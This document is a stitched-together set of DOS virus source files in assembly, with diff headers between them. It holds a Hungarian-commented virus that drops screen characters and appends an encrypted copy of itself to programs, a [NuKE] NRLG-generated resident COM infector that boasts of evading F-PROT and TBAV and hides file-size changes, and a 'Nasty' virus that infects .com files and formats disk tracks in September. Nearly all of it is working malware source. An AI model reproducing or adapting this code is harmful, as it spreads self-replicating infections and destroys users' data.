SHL AX,1 ; SZORZAS KETTOVEL
ADD AX,VIDOFS
MOV DI,AX
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
MOV ES,VIDKEZ
JZ VI3 ; NEM HAVAZIK
MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA
CLI ; MEGSZAKITASOKAT TILTANI
VI1: IN AL,DX ; A STATUSZT BEOLVASNI
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS?
JNZ VI3 ; IGEN
TEST AL,1 ; IRHATUNK A VIDEORAM-BA?
JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG
VI2: IN AL,DX ; A STATUSZ BEOLVASASA
TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK
JZ VI2
VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
STOSB ; BEIRASA A VIDEORAM-BA
STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK
POP BX ; A REGISZTEREK VISSZAALITASA
POP DX
POP ES
POP DI
RET ; VISSZATERES
VIDIR ENDP
VARAK PROC NEAR ; VARAKOZAS CX IDEIG
PUSH CX
V1: PUSH CX
MOV CX,IDOEGYS
V2: LOOP V2
POP CX
LOOP V1
POP CX
RET
VARAK ENDP
HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA
PUSH AX ; AX ELMENTESE
IN AL,61H ; A PPI BEOLVASASA
XOR AL,2 ; A HANGSZORO ATKAPCSOLASA
AND AL,11111110B ; ENGEDELYEZESE
OUT 61H,AL ; VISSZAIRASA
POP AX ; AX VISSZAALLITASA
RET ; VISSZATERES
HANGSZ ENDP
URES PROC NEAR
CMP AL,0 ; NUL KODJA?
JZ UR1 ; IGEN
CMP AL,20H ; SZOKOZ?
JZ UR1 ; IGEN
CMP AL,0FFH ; 0FFH IS URES
JZ UR1 ; AZ
CLC ; NEM URES
RET ; VISSZATERES
UR1: STC ; URES
RET ; VISSZATERES
URES ENDP
GRAFIK PROC NEAR
CMP AL,0B0H ; 0B0H<=AL<=0DFH?
JB GR1 ; NEM
CMP AL,0DFH
JA GR1 ; NEM
STC ; IGEN
RET ; VISSZATERES
GR1: CLC ; NEM GRAFIKUS
RET ; VISSZATERES
GRAFIK ENDP
KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA
PUSH DS
MOV AX,40H
MOV DS,AX
STI
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
JZ KES1
XOR CX,CX ; CX NULLAZASA
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
KES2: INC CX ; CX=CX+1
JZ KES4 ; HA TULCSORDULT
CMP AX,DS:6CH ; LEPETT MAR AZ ORA?
JZ KES2 ; MEG NEM
KES3: POP DS
MOV AX,CX
XOR DX,DX
MOV CX,0FH
DIV CX
MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA
RET
KES4: DEC CX
JMP KES3
KESLH ENDP
POTY PROC NEAR ; POTYOGTATAS
MOV VIDSOR,24
PUSH DS
MOV AX,40H ; A BIOS PARAMETERBLOKK
MOV DS,AX
MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE
POP DS
MOV VIDOFS,AX
MOV DL,0FFH
MOV AX,1130H
MOV BH,0
PUSH ES ; ES & BP ELMENTESE
PUSH BP
INT 10H ; A SOROK SZAMANAK BEOLVASASA
POP BP ; ES & BP VISSZAALLITASA
POP ES
CMP DL,0FFH
JZ PO1
PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA
PO1: MOV AH,0FH
INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA
MOV VIDOSZL,AH ; ES ELTAROLASA
MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
MOV VIDKEZ,0B000H ; BEALLITASA
CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT?
JZ PO3 ; IGEN
JB PO2
JMP PO7
PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME
CMP AL,3
JA PO3
CMP AL,2
JB PO3
MOV VIDMOD,1 ; HAVAZIK A KEPERNYO
MOV AL,VIDSOR ; A SOROK SZAMA
INC AL ; MEG EGY
MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL
MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON
MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA
CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
JBE PO5 ; NEM, TOVABB
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT
MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
PO3: XOR DI,DI ; DI=0
PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN
JBE PO6 ; MEG NEM TELT LE
JMP PO7 ; TULLEPTE, KILEPETT
PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT
MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
MOV AH,0
CALL VELETL ; VELETLENSZAM ELOALLITASA
MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM
MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA
MOV AH,0
CALL VELETL ; VELETLENSZAM ELOALLITASA
MOV DH,AL ; EZ LESZ A SORSZAM
CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA
CALL URES ; URES-E?
JC PO8 ; IGEN
CALL GRAFIK ; GRAFIKUS-E?
JC PO8 ; IGEN
MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
MOV OLVATT,AH ; ELTAROLASA
MOV CL,VIDSOR ; CX=SOROK SZAMA
MOV CH,0
POC: INC DH ; A KOVETKEZO SOR
CMP DH,VIDSOR ; ELERTE A MAXIMALISAT?
JA PO9 ; TULLEPTE, ABBAHAGYNI
CALL VIDOLV ; A KARAKTER BEOLVASASA
CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL?
JNZ PO9 ; NEM EGYEZIK
CALL URES ; URES KARAKTER-E?
JC POA ; IGEN
POE: CALL GRAFIK ; GRAFIKUS-E?
JC PO9 ; IGEN
INC DH ; A KOVETKEZO SOR
CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT?
JA PO9 ; IGEN
CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL
CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA
JNZ PO9 ; NEM EGYEZNEK
CALL URES ; URES KARAKTER-E?
JNC POE ; NEM
CALL HANGSZ ; HANG ELOALLITASA
DEC DH ; A FELETTE LEVO SOR
CALL VIDOLV ; BEOLVASASA
MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA
INC DH ; AZ ALATTA LEVO SOR
POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI
DEC DH ; A FELETTE LEVO SOR
MOV AL,20H ; A SZOKOZ KODJA
CALL VIDIR ; KIIRASA
INC DH ; AZ ALATTA LEVO SOR
MOV AL,OLVKAR ; A KARAKTER
CALL VIDIR ; KIIRASA
JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
CALL VARAK ; VARAKOZAS
DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
POB: JMP POC
PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER?
JZ POD ; IGEN
JMP PO8 ; UJ KISERLET
POD: CALL HANGSZ ; HANG ELOALLITASA
DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA
JZ PO7 ; HA NULLA, AKKOR KILEPNI
JMP PO3 ; UJRA KISERELNI
PO7: IN AL,61H ; A HANGSZORO BEOLVASASA
AND AL,11111100B ; KIKAPCSOLASA
OUT 61H,AL ; MAJD VISSZAIRASA
RET ; VISSZATERES
POTY ENDP
UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
JNZ U1C_1 ; IGEN
OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI
DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI
JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE
PUSH DS ; REGISZTEREK ELMENTESE
PUSH ES
PUSH CS
POP DS ; DS=CS
PUSH CS
POP ES ; ES=CS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
MOV AL,20H
OUT 20H,AL
MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE
CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT?
JNB U1C_3 ; NEM
MOV AX,0438H ; KB. 60 MASODPERC
U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA
INC AX ; AZ IDO NEM LEHET NULLA
MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA
MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS
CALL POTY ; POTYOGTATAS
MOV AX,3 ; VELETLENSZAM ELOALLIASA
CALL VELETL ; 1 ES 3 KOZOTT
INC AX
MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
JNB U1C_4 ; KARAKTEREK SZAMAVAL
MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET
U1C_4: MOV POTYKAR,AX ; ELTAROLASA
POP BP ; REGISZTEREK VISSZOLVASASA
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA
U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N
UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS?
JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI
PUSH AX ; REGISZTEREK MENTESE
PUSH CX
PUSH DX
MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA
INT 21H
CMP CX,1988 ; AZ EV 1988?
JB U28_2 ; HA KISEBB, AKKOR KILEPES
JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT
CMP DH,10 ; VAN MAR OKTOBER?
JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON
U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE
U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA
POP CX
POP AX
U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N
UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE
PUSH ES
PUSH BX
MOV AH,48H ; MEMORIATERULET ALLOKALASA
MOV BX,OFFSET HOSSZ/10H+1
INT 21H
POP BX
JNC UTAN1 ; SIKERULT?
UTAN3: STC
POP ES
RET
UTAN1: MOV BYTE PTR CS:100H,1
MOV ES,AX
PUSH CS ; DS=CS
POP DS
XOR DI,DI ; DI=0
MOV SI,100H ; SI=100H
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
CLD ; NOVEKVO IRANY
REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
MOV DI,OFFSET INDIT-100H
MOV SI,OFFSET INDIT
ADD SI,WORD PTR FILHOS
MOV CX,OFFSET VEG-INDIT
UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA
XOR ES:[DI],CX
INC DI
INC SI
LOOP UTAN2
MOV DS,AX ; DS A PUFFER ELEJERE MUTAT
MOV AH,40H
XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
INT 21H ; KIIRAS A PROGRAM MOGE
PUSHF
PUSH AX
MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
INT 21H
POP AX ; A REGISZTEREK VISSZAOLVASASA
POPF
PUSH CS ; DS=CS
POP DS
JC UTAN3
CMP AX,CX ; MINDEN BYTEOT KIIRT?
JNZ UTAN3 ; NEM
POP ES
CLC ; NEM TORTENT HIBA
RET ; VISSZATERES
UTANMAS ENDP
VEG EQU $
VIRUS ENDS
END
@@ -0,0 +1,435 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿxor byte ptr [di],035h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿ;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿxor byte ptr [di],035h
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------
ÿ
PAO:
DB 10,13,'You are infected with the: "Saclink" virus, very rare.','$'
;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 07H ;day for the action
action_mes Db 04H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
+225
View File
@@ -0,0 +1,225 @@
;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;
.model tiny
.code
org 100h ; origin for .com files
start:
nop ; these two nop instructs will be used by 'Nasty'
nop ; to determine if a file is already infected
;******
;get date
;******
mov ah,2ah ; get the date
int 21h ; do it
cmp dh,09h ; is it September?
jnz do_not_activate ; if NO jmp do_not_activate
;****
;the nasty bit
;****
;*
;* 1. Print message
;*
lea dx,mess ; print message
mov ah,09 ; 'Nasty in September'
int 21h ; do it
;****
;* 2. Destroy disk
;****
mov ah,19h ; get current drive (returned in al)
int 21h ; do it
mov dl,al ; dl = drive # to be formated
mov ah,05 ; disk format function
mov cl,01 ; first sector
mov ch,00 ; first track
mov dh,00 ; head zero
mov al,10h ; 10h (16) sectors - 2 tracks
int 13h ; do it (overwrite first 16 tracks on currently
; selected disc)
do_not_activate:
mov cx,80h ; save parameters; set counter to 80h bytes
mov si,0080h ; offset in the current data segment of the byte
; to be copied
mov di,0ff7fh ; offset to which byte is to be moved
rep movsb ; move bytes until cx=0 (decrement cx by 1 each time
; loop is performed is done automatically)
; (increment by 1 of si & di is done automatically)
lea ax,begp ; load exit from program offset address into ax
mov cx,ax ; " " " " " " " cx
sub ax,100h ; subtract start of .com file address (100h) from ax
; ax now contains the length of the virus
mov ds:[0fah],ax ; put length of the virus into the data segment at
; offset 0fah
add cx,fso ; add fso (5h) to cx (offset address of exit)
; so, cx=cx+5
mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at
; offset 0f8h. ** Start of the write buffer.
ADD CX,AX ; add virus length (ax) to cx ?????
mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h.
; ** Start of the read buffer
mov cx,ax ; mov length of virus into cx
lea si,start ; load address of 'start' (start of virus) into
; souce index
mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into
; destination index
rb: ; cx = counter (length of virus)
; si = offset of byte to be read
; di = offset of where to write byte to
; (auto decrement of cx & increment of si & di)
rep movsb ; copy the virus into memory
stc ; set the carry flag
lea dx,file_type_to_infect ; set infector for .com files only
mov ah,4eh ; find first file with specified params
mov cx,20h ; files with archive bit set
int 21h ; do it
; if file found, CF is cleared, else
; CF is set
or ax,ax ; works the below instructions (jz & jmp)
jz file_found ; if file found jmp file_found
jmp done ; if no file found, jmp done (exit virus)
file_found:
mov ah,2fh ; get dta (returned in es:bx)
int 21h ; do it
mov ax,es:[bx+1ah] ; mov size of file to be infected into ax
mov ds:[0fch],ax ; mov filesize into ds:[0fch]
add bx,1eh ; bx now points to asciz filename
mov ds:[0feh],bx ; mov filename into ds:[0feh]
clc ; clear carry flag
mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename)
mov dx,bx ; mov filename into dx
int 21h ; do it (ax contains file handle)
mov bx,ax ; mov file handle into bx
mov ax,5700h ; get time & date attribs from file to infect
int 21h ; do it (file handle in bx)
push cx ; save time to the stack
push dx ; save date to the stack
mov ah,3fh ; read from file to be infected
mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to
; be infected
mov dx,ds:[0f6h] ; buffer (where to read bytes to)
int 21h ; do it
mov bx,dx ; mov buffer location to bx
mov ax,[bx] ; mov contents of bx (first two bytes - as bx is
; 16-bits) into ax.
; Now check to see if file is infected... if the
; file is infected, it's first two bytes will be
; 9090h (nop nop)
sub ax,9090h ; If file is already infected, zero flag will be set
; thus jump to fin(ish)
jz fin
mov ax,ds:[0fch] ; mov filesize of file to be infected into ax
mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx
mov [bx-2],ax ; correct old len
mov ah,3ch ; Create file with handle
mov cx,00h ; cx=attribs -- set no attributes
mov dx,ds:[0feh] ; point to name
clc ; clear carry flag
int 21h ; create file
; Note: If filename already exists, (which it does)
; truncate the filelength to zero - this is ok as
; we have already copied the file to be infected
; into memory.
mov bx,ax ; mov file handle into bx
mov ah,40h ; write file with handle (write to the file to be
; infected) - length currently zero
; cx=number of bytes to write
mov cx,ds:[0fch] ; length of file to be infected
add cx,ds:[0fah] ; length of virus
mov DX,ds:[0f8h] ; location of write buffer (this contains the virus
; + the file to be infected)
int 21h ; write file
; new file = virus + file to be infected
mov ax,5701h ; restore original time & date values
pop dx ; get old date from the stack
pop cx ; get old time from the stack
int 21h ; do it
; Note: Infected file will now carry the time & date
; it had before the infection.
mov ah,3eh ; close file (bx=file handle)
int 21h ; do it
; Note: date & time stamps automatically updated if
; file written to.
fin:
stc ; set carry flags
mov ah,4fh ; find next file (.com)
int 21h ; do it
or ax,ax ; decides zero flag outcome
jnz done ; if no more .com files, jmp done
JMP file_found ; else begin re-infection process for new file.
done:
mov cx,80h ; set counter (cx) = 80h
mov si,0ff7fh ; source offset address (copy from here)
mov di,0080h ; destination offset address (copy to here)
rep movsb ; copy bytes! (cx is auto decremented by 1
; si & di are auto incremented by 1)
; Note: this is a 'restore parameters' feature
; this does the reverse of what what done earlier
; in the program (do_not_activate:)
mov ax,0a4f3h ;
mov ds:[0fff9h],ax ;
mov al,0eah ;
mov ds:[0fffbh],al ; reset data segment locations ??? (to previous
mov ax,100h ; values before virus infection)
mov ds:[0fffch],ax ;
lea si,begp ; load exit from program offset address into si
lea di,start ; load offset address of start of virus into di
mov ax,cs
mov ds:[0fffeh],ax ; re-align cs = ds ???
mov kk,ax
mov cx,fso
db 0eah ; define byte
dw 0fff9h ; define word
kk dw 0000h ; define kk = word
mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display
file_type_to_infect db '*?.com',0 ; infect only .com files.
fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes
; in size (a word)
; ----- alma mater
begp:
